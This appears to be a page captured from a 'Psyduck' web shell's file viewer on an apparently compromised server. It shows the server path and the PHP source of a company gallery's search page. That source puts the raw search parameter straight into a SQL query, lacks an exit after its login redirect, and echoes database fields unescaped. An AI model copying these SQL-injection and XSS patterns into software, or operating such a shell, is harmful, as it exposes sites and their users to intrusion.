Psyduck - 可達鴨 之 鴨力山大 v0.1

Current Path : home/irplbiz/public_html/lnselgallery/
Upload File :
Current File : /home/irplbiz/public_html/lnselgallery/search.php

<?php 

session_start();



if(!isset($_SESSION['username']))

	{

		header("location: index.php?login=not");

	}



include ("control/includes/db_connect.php"); ?>



					

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>LEE &amp; NEE Softwares Exports Ltd</title>

<link rel="stylesheet" href="style.css" type="text/css" />

<link rel="icon" href="images/favicon.ico" type="image/x-icon"/> 

<link rel="shortcut icon" href="images/favicon.ico" type="image/x-icon"/>



<link rel="stylesheet" href="slimbox/slimbox2.css" type="text/css" media="screen" />

<script type="text/javascript" src="slimbox/jquery.min.js"></script>

<script type="text/javascript" src="slimbox/slimbox2.js"></script>



</head>



<body>

<div class="container">

	<div class="wrapper">

    	<div class="header">

        	<div class="logo"><a href="index.php"><img src="images/logo.png" alt="LEE &amp; NEE Softwares Exports Ltd" title="LEE &amp; NEE Softwares Exports Ltd" width="350" /></a></div>

        	<div class="header-rt">

			<form name="myform" method="post" action="search.php">

			<input name="s" value="Search" onfocus="if(this.value=='Search'){this.value=''};" onblur="if(this.value=='Search'){this.value='Search'};" type="text" class="search_box"> 

			<input name="" type="submit" value="GO" class="search_btn"/></form>

            	<div class="phone-no">

				<a href="logout.php" style="text-decoration:none; font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; font-weight:bold; color:#0099FF;">Logout</a><br />

                	(91) (33) 4065 0376<br />

                    (91) (33) 4065 0370

                </div>

            </div>

        </div>

        <div class="banner"><img src="images/portfolio-banner.jpg" alt="" /></div>

        <div class="content-area">

            

		

			

      

			<?php									

            $catSQL = "SELECT * FROM `ln_tbl_gallery` WHERE title LIKE '%".$_REQUEST['s']."%' OR link LIKE '%".$_REQUEST['s']."%'";

            $result = mysql_query($catSQL);

			//$resultSet = mysql_fetch_array($result);

            ?>	



     				<ul class="categories-list">

            	<!--<h1>Search Result</h1>-->

				<h1 class="heading">You are here: <a href="categories.php">Gallery</a><span>&nbsp;Search Result</span></h1>

             <?php if(mysql_num_rows($result) > 0)

			 		{

				 while($resultSet = mysql_fetch_array($result)) { ?>

                

               <li>

                	<a href="control/document/<?php echo $resultSet["image"]; ?>" rel="lightbox-gallery"><img src="control/document/<?php echo $resultSet["thumb"]; ?>" width="180" height="120" /></a>

                    <div class="cat-dtls">

                   <?php echo $resultSet["title"]; ?><br />

                        <a href="<?php echo $resultSet["link"]; ?>" target="_blank"><?php echo $resultSet["link"]; ?></a>

                    </div>

					

					

                </li>

				<?php } } 

				?>

                

             <?php

			/*else

			 {

				 echo "No product found";

			 } */

					?>  

         

          	

         </ul>

        </div>

	</div>

    <div class="footer">

    	<div class="foot-wrap">

        	<div class="foot-top">

            	<div class="expertise">

                	<p>&copy; 2012 <span>Lee &amp; Nee Softwares Export(s) Ltd.</span> All Rights Reserved</p>

                    <div class="social-net">

                    	<a href="https://www.facebook.com/lnselkolkata/app_208195102528120" target="_blank"><img src="images/foot-facebook.png" alt="facebook" title="facebook" /></a>

                        <a href="https://twitter.com/lnsel" target="_blank"><img src="images/foot-twitter.png" alt="twitter" title="twitter" /></a>

                        <a href="#"><img src="images/foot-google-plus.png" alt="google plus" title="google plus" /></a>

                        <a href="http://www.linkedin.com/company/lee-&-nee-softwares-exports-ltd." target="_blank"><img src="images/foot-linked-in.png" alt="linked in" title="linked in" /></a>

                    </div>

                </div>

            </div>

        </div>

    </div>

</div>

</body>

</html>